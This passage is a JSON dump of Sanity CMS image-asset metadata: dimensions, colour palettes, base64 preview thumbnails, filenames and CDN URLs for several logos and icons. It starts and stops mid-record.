b3f4d63d9b7509a26d08a9accdb-25x24.svg","sha1hash":"b1708fdf0816cb3f4d63d9b7509a26d08a9accdb","size":471,"uploadId":"WJmIEM2Jfpk3bNgRy0GD3eREkCZbWcIw","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1708fdf0816cb3f4d63d9b7509a26d08a9accdb-25x24.svg"} {"_createdAt":"2022-12-05T16:09:49Z","_id":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_rev":"0rD6Phxg3duzic15oI2oZt","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T16:09:49Z","assetId":"6390718f0f0f1312203b807186b5dad5da4a80be","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC50lEQVQ4jY2Uy6vXVRTFP/d6b1fNFHOilBZGJQgh+KgcKFRWBkENKslH9/dd32uJoiY97IETySBFBxaVgdrTQMuk16BI6CE5iWaNmvV3nJX7nH01hCv94MA5v3O+a++91tobpvh5HNyDYy+GLRZYPGixxeIBi5vcM8Ni1GKovt86FVoDaYDxWNxs0Vl8ZPGNxScW+4vYYfGYxWIPGI331wZs6zqL9UV8bnHG4nDufyriB4vTFbhjkbv/BzjTYsLxcc9ei7sywHaLly1OWXxmsS6omRKwCEpXAacXsbGW2rPPPQs9YIY75hax1OKAxdcWT1mMXDvD98Ad0yxWWhxzK/URd8xOXjdkhsHp/e4Yjg/+W95Qriv/NWHmWWy1+NbibYtxi9ctvrT4wuK5qvogMhlwNejlc5k8P1/3SyzesDhv8WOq/a7F0xa3umck3lbvRO0Ws6zKyxx3jPmZmt1wijLHYn4Svz+VftZieZY/NJlAZBNgS9Kwr1rstnjI4k6LVRabLF7Ita2IzRZr3dcAo1W0njFPMNRKFnPTFt8XccHil+TmqMVxi3Nxl/ydtfjY4iWLe9yz3D2Pu2d9LbtjJABvSekD8K0iPrT4y+JidkaQv8V9reC1DPabxQmL90uzzJkSonUsCMDbLQ5m5A1Z9s/J05rawx03WtxtsStV/aeIvzPzryx+D4GKWBaAd1gcymzCnK9kFqHe9FT9hrz7NLO7WJr/9lm8k8q/GViTgAcT8Emrttd3wVMRKyxuq/yINVFWafcvug2GA9klx0vHw+64/nLJpUXfVFrUPy1+dePzSO3ZHpWeQbog/HgyAx+zeLS24nj0bPRmX70VZv0gJ8ofadwTGSjUjXMoHaqfTsAIvrb6NBpkW9imZ3ZpfAVQWCaAI6uwwjKL+9KLe7LcHUU8YbHaYqHFWNkJ3tU6bHIaL3Z7tMetA+51xyxvrhMnhkPMxJjOM0sTajQGgReBJ7JVY12aKv8CTtNL82L49KoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#24442c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#690d04","foreground":"#fff","population":3.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3630a","foreground":"#fff","population":6.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e400a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7c2c","foreground":"#fff","population":1.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07258","foreground":"#fff","population":0.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3630a","foreground":"#fff","population":6.83,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-hand-heart.svg","path":"images/sczeoy4w/production/6390718f0f0f1312203b807186b5dad5da4a80be-25x24.svg","sha1hash":"6390718f0f0f1312203b807186b5dad5da4a80be","size":1144,"uploadId":"3ELh9seV6nZVzSjWytuiCRqzrPyqPnmv","url":"https://cdn.sanity.io/images/sczeoy4w/production/6390718f0f0f1312203b807186b5dad5da4a80be-25x24.svg"} {"_createdAt":"2022-12-05T16:09:54Z","_id":"image-084ab7efa85507bd4557c796a5a8f2ecbbf51560-1200x1070-png","_rev":"7GwCRDzXwt8uMyA06jIRst","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T16:09:54Z","assetId":"084ab7efa85507bd4557c796a5a8f2ecbbf51560","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1214953271028036,"height":1070,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFYklEQVQ4jSXUWVCTZxgF4K92oVWhYlHAggoWFVQcdwFZAvInoigYwGhIBEISkiAQEvZFgoRFbFgsLiAuyCIq0qqjgNHRURQpHeqIlVAN1ZYdEYoGNeR9O9Bzc+6eOVeHEAf+l8ReMIfYC8zNVnHnlvqumw38+fOAZ7kKQqz8gbv4ILCXXAXWMg0E2ashYEUQ+q0wQUIIbjEn/+71Jm2JUoLbNhGkuxBC7AWmTk7+C8qYq1ff4djt1PKtBZ9EFgoUWFZAqNU95CzS4D7bIdyzVIdBKwY+BTtV/xPHZVw7V25C9EjQdy15EhNJkO5MkHKdBhecCnB0HBCbyfvE5o3DYovnevG8PuSbv4MQq0ng2qI+dBVO8F3wvZgBvcm8wdZCZY26MJ+hkeyfXnqy9gYBuhuBre6EzHEMmX+bY7OzP+K7hkGJhW4k2hY/SJfipMgGDTxb1EU5w0BGMLzMl8Gzo4fg4aliuPOTavCZXFyjY25loNcGE4JIJgNX/78wdKef8V3BSmGn5IdObdx67M7fBz0lEnibswfGU3xgMC8ctMXJoFEl4+8FGaAuyoOmzBR4wdsz+NHXvQapLQw95WkCdA+CDGdCypUys7p0ruKWgt3XXCTF9uoC0F5QwUBZIgwXReLg4QgYid8N40JPGOVTqBEFQFOMAJoj9sMwc9sgUO7V4EXzNnh5z8LZuYS05bJWqo+IKxpPZL57UHUUtWWJMJa1CyZStuL71B2oS9iOkyJXxOC1gExHGA90wocR++CK7ABouCzUM7x60JOmNHh5L0R3ihBdwvd+/Qrnu89PRk9qzmfhWCYDQGCNIHFAUPgjHJcjlCsQ0rmIrI0wwdwErRF7oTZRBh3hIajfRo0gjVYw6UUtRg9vQjD66/R3iTYaTTEPO8rTYTTVAyB8AUCSO+K1EkTtU4Q/nyCUZiFyXPEtyw3UsUK4lJYML8ND0MCgupFGk0560+fiQuY0+Mt43KKhdlUY3j+dB33KQAChDaDcCaFOhaDtQHjSjJgbhYa9zvg33w/qFClQqcjArvBQg96H0YIetF06D7+v8ODKabBTJ7XQtWcH4a2zhdBVIsOJ2I0A/GWAiRTCsTiEQjmi0Bt1bFf8I0kEF4/kwsmMg6g+EDnRy2JdAgZ9PeYtnqG/segLgtHfNI5Krfpbs1jQdKYQHp/Og67ccByO9YQPgnVg4G9EDN2MHzgu+EoajI9U2aA+rISK+FgslUuHG2WSgr443+WT1781/nTdei6BqJkBXQkbqu6oYgZaShXQpooG9ZF4uJufgO2pIfAygoLeUHfQytjwqCgHWo7+CJq4SLgt5GCxTKgtSI9Irs+mHJ6W28zTXV1oSt7zjYxvZvPp6rLcKm2BcKA/zhUeJzLhQn4GnM1TwClpOJwTB0NddhrcLyuBv9JkMMTyxfYgX0OZgNsii+Rx2Pv9rZNE7rNe19h9ThCRHKuuN24/k00fO0iv0kcsGeiWbIZ6pQwq8w/BiagwyOCxUZmUgA05CuwRcfDNdprhhQ813BAYdDqVzV9H1kiMCIn8DJ9NXdAOMo2O5wcaGyKXUgaedeULifNAvVIOTapM/E3GxloJ26CQS3UlCfKhdklY5+huxr0xOq309XYfpjqQbYqWRgQPmBG8YUtIb5IbebBjPrGbwjkmxh/DbKhfoxmVldnJPQ2FypHu1DBtc6rokUqRfjE9IT7v57gYwZswFh0Zbg5IuZmiv9eMNisf0uBCJ65O4YS8unmedBbGkIqLV8lUhoRrjGsTwnYfy1FcvlyY29iRFZPfmhXLLi8uWK/IzrHMSkudeeX48RnTB0vZkanmrQ0iGEvIciN/8h8NQxwAAk7fTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384050","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e130a","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5826","foreground":"#fff","population":27.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b9b4","foreground":"#000","population":0.69,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5826","foreground":"#fff","population":27.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c649c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6708","foreground":"#fff","population":3.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hands-form-heart-shape.png","path":"images/sczeoy4w/production/084ab7efa85507bd4557c796a5a8f2ecbbf51560-1200x1070.png","sha1hash":"084ab7efa85507bd4557c796a5a8f2ecbbf51560","size":433835,"uploadId":"H4RVT6IMZj6YvXynEJI3wfr7XlyuUFoL","url":"https://cdn.sanity.io/images/sczeoy4w/production/084ab7efa85507bd4557c796a5a8f2ecbbf51560-1200x1070.png"} {"_createdAt":"2023-03-27T09:49:54Z","_id":"image-c7be3bbad58ad6604442dc5aad54cd95dd2402c6-941x481-png","_rev":"WYYBJ4jzXPhbQa4a6O7eLr","_type":"sanity.imageAsset","_updatedAt":"2023-03-27T15:46:46Z","assetId":"c7be3bbad58ad6604442dc5aad54cd95dd2402c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeSq--Y5U^tQpwtmb^WWn*s:l.n4pIn,n4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9563409563409564,"height":481,"width":941},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbklEQVQokS3SaUtUURjA8fuh6gMEERSZRNAKmUGZSQtFYAURbVhBC0Q7BBUE0QIGLpVGOWabRZpkjVOZc2dyau693mXOPdv9x4yehz/nvPq9eY6jtUWnZj6hif2I2eIf3JkSlcpf4jjGWkuWZY27npKSoPqPWbdIeWaGilsmDuawSuPUQklS8oh+VwgLJYLxAt7nPN7vClFUQ2ndwBpgPa3Q5TzibTfxwAPipz0kT56S9g2hP07iJKEicH3KeZfp8QLF0UkqX34S/AkQQmNtBg3QUn8aKdBjfegbbZiuLZjjnZh9RzD7T6NuPsYRNU3oRRSLFQo/XEq/ylRLVUIvIU11A6mfrDEL4KcnmAtrsfuXYts3YTdsw7QeRF2+j5MU8vjvcpRzPVRe9RD3DyB6coj3X1FehFUSG0fYKMJIjREJ+sNDbNdysrZFZBtXkK1Yh127B33uNo7ffYfpM4codG1n7mQrtqMdu+0w6vxd5ORPtJvHDPehB14gpmYQfhX5+g72xBKy9sXQ0gxNG8hWd2COXcMJ7x2jcHgdE3tW4W9dBs3NZGt2oo9eJv04gZzIoW+dRl68RDj8iXC2jBi+jVkAs81NZCvXN0B9/BpOOngV7/puZk/tIOnswO49gOk8S3rzEen3aZQ7hXrVS63vGfG3XySBj/zci7nSij3YhN3Vgm3pQO08SnrjIY5yJxFjL0hG+pHDL1FDbxC5UZLxPKk3h6zFpH6V1A9QtRSjFKZaRI8Nooe6MQP96N5B0ucjiC9TOMYYkigkCjykEKhUUYsTRE0gpSRJAqLYQ9WXs/AfM5thjcFqPZ/SmHra8B9j/rl3XszLDgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#702839","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a43c54","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa3453","foreground":"#fff","population":7.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbdc5","foreground":"#000","population":1.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa3453","foreground":"#fff","population":7.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d6775","foreground":"#fff","population":1.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f37421","foreground":"#fff","population":7.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c7be3bbad58ad6604442dc5aad54cd95dd2402c6-941x481.png","path":"images/sczeoy4w/production/c7be3bbad58ad6604442dc5aad54cd95dd2402c6-941x481.png","sha1hash":"c7be3bbad58ad6604442dc5aad54cd95dd2402c6","size":173856,"uploadId":"dXCEn2KpGVnLb7UvjNhj4VUUhySgT4t6","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7be3bbad58ad6604442dc5aad54cd95dd2402c6-941x481.png"} {"_createdAt":"2022-09-25T11:25:17Z","_id":"image-b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3-48x48-svg","_rev":"hRnhEu74WP2irJAz2m8M3a","_type":"sanity.imageAsset","_updatedAt":"2022-09-25T11:25:17Z","assetId":"b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFUUlEQVQ4jV2VSVNaaRSGPxb+gPZHxF3nJ3Tc9To4iyigAqIIRjO0Q5TBATUgisyzwMUrKoIjXkVFEcdLutIVzTJmbS+iKSt6Ttc1dFeqF1/d3VPvPed5v4+IzQkiMi8T7ttk3eQ125hiqWO7VObc0cnde9st3v0vrb7st7ZA7rZt5vhKGTpl2sPnGlWELVVRbLE6yvLUvixRUyx5QeUJEZtXiNS+SsSTq0WNlvWSpumUvNnGxKSO7UuZa/fvFk/mTuE9eFAGcg8d4ZM7Vfj0uj18dqGKnMdUFCtXU/mSDipfNEF9IGoO2OzcJiLTUpHYvPxUMrmqa7Sss03WzZtm+xbKHGmUuXaxxZPBrvARvo2dYxd1isqZE2wPn92oIiyrpvI6NZV/qqbeF7V6coQIx+d5DcZ4iciU0InNy58kU2v3jZYNbLJuQrN9C6SONLT7MqBbOAND8j28ok6gLXgEBei9KsJeqqm8Vk3ln3REWR6pG40V148vyhuMcVZkStyLzcsgmVqDRssGNFs3UenZAV3sBKypD/Bu5T28po5RGcj9C4UClFVRrExNscVEYJgrFY7Nx+rHF24ajHEUmRIgNq+AZGoVFQ4G9HM5dDMf0J/+iMblPL6OHEGbP4ut/sOfk35VRc7nVBH2GREMz2rrDPSFcDSG9eML0GCMg2giiRy0y5dG6xqLwfRfGNr9iGOJc1T597mZgsJ38H/oRXv4TENqhyJbguHotcBAo3A0BvXjC8hBG0wJ7HAzaFw6RvtGHqP7F2heyaPSs4tS584PqPc/KLeoa04pUq0PXdUMRu5qh6NYZ6CBgza8W8TGiQS22tbwTSCNQ3OH6GH+ROt6Hl/497DFtYNKbwYV3n0OCq3+Q2wLHt21zRx/JlXa4G21PvRQMxjB2uEocNBm8xK+8W1iT2AbOz3MI3RkPocjC0fY6d/FrkAGB+gj7JrJwk9JH1oDuVtSqfF/q9IGH6r1IawZjIBgOApycxy14TS+W8iiPrqHA5E91M8eoCZ6gJ3+HeyNHKAxeY690Ry0uHdB7ubSHjwofNlbUtHv/VI54L+r0gaxWh8CDlpvoFFtX0EDncGJ+CEaF7mTwyE6i68CO9gTyqCOzmGnfw9kzjQU5L9r8e5fkfK3nq2Kfu915YAfq7RBqNGHUTBEQZNxHvtntnA6eYSO1VO0rZ7iSCyLLzwMKl0Mtrm2QGZjkJO/0KhruXuPIWW9Ll15n/uyot+LVRo/iEejoJ5ewg5bEvr8KbQsHaJn4wxda2c4GjvALg+DKtcmKJ0MSq0p4BoltW+h1LF9IXPuaAi/x1la1uuKlfe5byr7fSg30qANpkAfYlAzswlj9B5OLR3iVCKHxoUsjtD7METvY09oFxT2FBRq+rXZxsxJHdvPCL/bWczvccrLep358j73vVAfBIVpDjqm4/DSkcQ+3wbow9swHN2BEXoPhukMaiK78NLLgGx6javp90bL+nmTNSXlrj7C/8PB43c7Svg9Dl1Zr/MTB63s92KNNgDCoTBIxmZBapwHuXkRFFMJUFiSIJtMAuepeCL5XWxeuZRMrWoaLetPGq0bPFLbFyLPu+1F/G770wKU5X6//K0XKwZ8WMltX/eoFOcpco2qG42hcHzha4Mxfi4yJTRi8/Kvksm1IsnILCHPux3k96ZJwn+EckmdssJMLx63r3lUivOUk59r1HWdgf4oHJun68cXpQ3G+BORKVFUMxgj4ollQp6/sRF+t4NUaWa4pDx+j4ObKbco7Q+lfFeVGv9toVGfa4aoTcHI7IDAQP9WNxr7RTg2z5PYUkQ0wT0jSfIPPADvuho7k4wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304550","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3c64","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5984a2","foreground":"#fff","population":7.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95b6ce","foreground":"#000","population":3.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8d0ea","foreground":"#000","population":1.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5984a2","foreground":"#fff","population":7.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5492c2","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-jdbc.svg","path":"images/sczeoy4w/production/b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3-48x48.svg","sha1hash":"b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3","size":5698,"uploadId":"qztiuIGVUoKhol7UvYavMk2Iu3dfWTyy","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3-48x48.svg"} {"_createdAt":"2022-09-25T11:37:53Z","_id":"image-d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48-svg","_rev":"hRnhEu74WP2irJAz2m9Imx","_type":"sanity.imageAsset","_updatedAt":"2022-09-25T11:37:53Z","assetId":"d976eb7042070bfa6e3927a017ea04215c36b1e3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADT0lEQVQ4jU1VS48WRRStL/lmoSxQ2JhBAc0gakxMBPv0KCg6oIioKAbfBFCjwkyCCzEBNSYufIcY5RGf0aiAUXcqSp+eGYJBEPEVCW5cCYYFpybyB8ztPkO+RS2qu/rUPY97O6HOCVRauPfvVDB3wDwN1CJQa0E9Aeo9UCe83gX1OKg1oK5vz+bOwKETCZUSRpUasGvHckKtPlBzQK0HtQvU66BuBPUYqF9B/QLqUT97DdRnvnAAVN/i8TOpoFIa3DcRYF3UuhDU3aA+BXW8ZN5eMs8F8xIwj3ktiWfxDtQxUB+BugNUP6ju/H2nU0KdO6h1MaghU30Q1NaSeWPJPBPMQ2CuvYbiWUmNgHoF1KqWum4CNRu1OkF5uqkExWW+7TJQl5fM57lCos50hVPLVpoBn10O6g1QjwRWAF4H6n1r9Amoh0HNBXVuwdxFnRejbqobDcCimuiCmhIX2pzdoH4H9UFgJWvwDKiPQf0Aatw3LkOr4WowHwZ1xFVcCWoFqLd8/rBBN4O6PQDvBTUf1NWORLz8EdQ3oLb75q9B7bVhsa9AHQX1FVo9C1DzQK1MPrDGNPstwbOgRkH9YRkiSsOg9oD6y5W9aBNnWM8HQO0MwFOgDoB6qnGqOh0azQT1tAFGLMsKn4mqtpTUJWDu89lhF/BvAJ4ERVAb4mVRKQBngdrUA3inATeC+tJ6RdS6oC4yg8A4GYA7reNsUBeAWgDqeZtz3JoOe+1yoPeDesEZ7Df4faB29Joyz620x47Szsf+O1Dfev+O9z+B+sLMrvFaldxuz7k3D1rwt/38Kvfyz14Rmysc5q2u9KBZBMZdAbgQ1IcO5+dnP6o0pQl22ymj/nhpY1qlc0BdCuohR+m33mBPN0hMkNusyUC0V7QZONkpGi9rLQU11TGZA+Z+t+uroNaBmtYOh9aQEHgQ1D2gXi6ZR84Oh0lA6uYeV6OA+0Hd4JE2q6Q6qRybiDkW9ofDoU3QP1Yyb+sZX+H4gZK61TPzTVB/2qSI0wxU6g7WE+2ALb7X5IANKk/aoKARVQeVGByhcaQgKnrJHRSt2gxYVM2QbuZhA3rL/v9SUSvoxy8gPlptsMjpP26AmErhepgReT2/qNRZuSmnkmpw/gfgs4uN4aSGJAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#425b73","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#086498","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3abcef","foreground":"#000","population":16.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0d668b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cbeed","foreground":"#000","population":2.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687ca0","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3abcef","foreground":"#000","population":16.84,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-snowflake.svg","path":"images/sczeoy4w/production/d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48.svg","sha1hash":"d976eb7042070bfa6e3927a017ea04215c36b1e3","size":2444,"uploadId":"jahu5EmYfM6haLH6YlctxbfA7pIx2PSL","url":"https://cdn.sanity.io/images/sczeoy4w/production/d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48.svg"} {"_createdAt":"2022-09-28T14:25:02Z","_id":"image-257ac96c684c612a02037e99bca2734fbee4c4b0-2500x2500-png","_rev":"8WeirZ6KB9gJqgJfvTNa71","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:02Z","assetId":"257ac96c684c612a02037e99bca2734fbee4c4b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEpUlEQVQ4jW3Ta2yTVRwG8NNuHW5usDhkfUtI5OLiuhLlYgguGhXRqIkS+EBCwiRqx2CKgLAbEb6wgBElzMwvgAYvkKiQDF1fUMaALW5sDNwNdoOOtVth95X17dqe93lM241B4kmenHM+vL88Ofm/QkwuAJGQjAQP2h+eeSEjgefmLaZqyaKqFFJVtlFVVlFVUqkqRqpmQVURUM1i+qMpKIyOd03fT4uZLE95m44539GRWkOHuQ2q0kxVOQuH+VOqyiKqSgwcUXQamQKm8RgO1yezYdObvJx5ihU2D/9a0EfV0gSHuY2q0k9VucYomkqHWSAMPopFAhiph54GuZKh8c0Y+ucku4950PGlHzf3XsW/W4tRuayQquUcHOb7UJUyOMyZ4Zb/1zCWwCICOSR/J/RbkNoIgyMSEwNBBIacCI3/jJGGXFa9XgzV0gmHuZGqsoEOc3z4LR8FDQDmA8gDcA2ADyRAcnIPHyXJIeqBStwu/ZUVi+/AodyEqnxI1fIkHZMNJzMLwEYAtQCCAIjJFT3olLpkSJfU9ZDGgeoB1K73Un2mGo7U93ghLQ7nUx9rmAHgGMlRRhcejQ4doz4v7o32wx8MgOMuovnQGNSVx3km2UbeEixZ+BA0kXwHQJWUUgYCAU5MTGBq92satJERODtbWdNUg26PWw/6Ronbaj/+yDqAQ/FzWSQEjy6LgrquJ5DMAtAy7vPR47mH3t5e9PS44Oy+S5ezm4PNLWi7cgHnLpWjuqEOA/c91J3VXp7OPo4vEtN5p1KgtjQKSinD4CYpZevw8DA7u7rQ1t6OlpZWNLW08k5bOweu1tF9uZINdVWsqq3BXaeTsqMixFMbVOyJz+RaYeDULxcIBuNIvi+lrB3zevW+Pg/cbjdcLhddbjf6PR6OtXXQe7WO965fR1tzK/pc3ZSNv0keW12BfMOrLDAaMQWGR4bkEgC/BIPBB5qm0efzQQu/nabB7/cj4PUy2NsHf4+LY4ND0PqdROXBAL+2nsUusYIXiwVby6bHZlybmC2lnqvreouuQ+qRSdGnwsguJRGSQEADOv4mflo3xH3JR7BLLODzQrAwNgqKBVkxqz46ktDUdnf52PBgqfR7+6iHHhubhwn5wZ46sGyb5MH59cg3bGSBMYmbhWCeiIKJS7eaRNrHSeu3lcxpvFT+rr/j8kn0NfZj1A1oI8SEl/ANE4NdRGsZcSZH4qu0ThSZ9jNPPItii4GVBwTzhRAL39ojjBnZsbG27ETxnD1pX67d4vxx+5rx8r0n9CuHO1h/3MtrPwRZXSL5584Ajq4eYvHcehbGhrElLDTFhZsx3yAQBsXMtUKk200Gqz3JaNs8c4b1g1m712RamoqWvKIdfnGHXrrye/3bFefxje0i9itnueeJEuSJjeFmLDLFcYcQ3C0EC2KiDUW6XQhrdqxItyeGUYNty0xh3Zr00vLXkk+sM8+7YU9aejs34Y3R7YbV+Fys4G6xEIWmJO5XDGEg0q7QFMGioDVbCKt9hrDanxLp2SnCap8dk5GdIhZ/kiJsO2cL22cp8S/kpCx6OSf+wA2K9jQhuGUSyjcIFhijWOQuxH9dbzR1eNpjAgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503a30","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581205","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":4.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0e1d8","foreground":"#000","population":0.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce478","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#445084","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":4.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Alef-logo-image-composition.png","path":"images/sczeoy4w/production/257ac96c684c612a02037e99bca2734fbee4c4b0-2500x2500.png","sha1hash":"257ac96c684c612a02037e99bca2734fbee4c4b0","size":47704,"uploadId":"eTjU24GsrWfikI0iggrY1SVchPwZfDSn","url":"https://cdn.sanity.io/images/sczeoy4w/production/257ac96c684c612a02037e99bca2734fbee4c4b0-2500x2500.png"} {"_createdAt":"2022-09-28T14:25:02Z","_id":"image-3ded83070b291580e70f96d6d8695a7a2312f5b0-2500x2500-png","_rev":"XMqVxILwpPMz4xYxc2522F","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:02Z","assetId":"3ded83070b291580e70f96d6d8695a7a2312f5b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEgklEQVQ4jW3Ue2xTZRgG8LeXcRuDwcIusEm4mAAKxqCoKEFJSExo1y3EqECiJBoiioqXjTEUEgyohJio4B9AFBVEkmHiRtvTjlu4bDAGgaWl7lIHgw0oZXRnbTlrz/OYnhYZhJM8+c7Jyfmd7/3eL5/IoIukES2hy8c7AvLCZ6dFiv8Qq8M7xmT3vJzJWLEpYrJ7jMjg+4ehwdl7tDv9cl6tWRYpc8SmbDPZPbvNpZ4yi8OTm+XwGog5g4otM6Y+BvBI9PlPG6X47WOjh5Z7V5jtHr/YlLDYlBqxKQ6rw5Ob9+YRkVfdYinNYCn8UaCuwxLTknkkp53w99pX/Oj79aWKM71T3z3O0a8fvmUp9RiopdSTm78sjf4/08FQBs4GMBvAKpK7oneTR/xX1C7n2dDAD7WX+dZ3LZjx3snwiMX1NSa74rCWKrkFS+tFbKkleAgkmQNgIYAdIAMA+gAkdB3QEjpuqwNobotg0/4g5nzSaKCSKT+rLLWeD4JZAOYC+AXADQDgg5fxn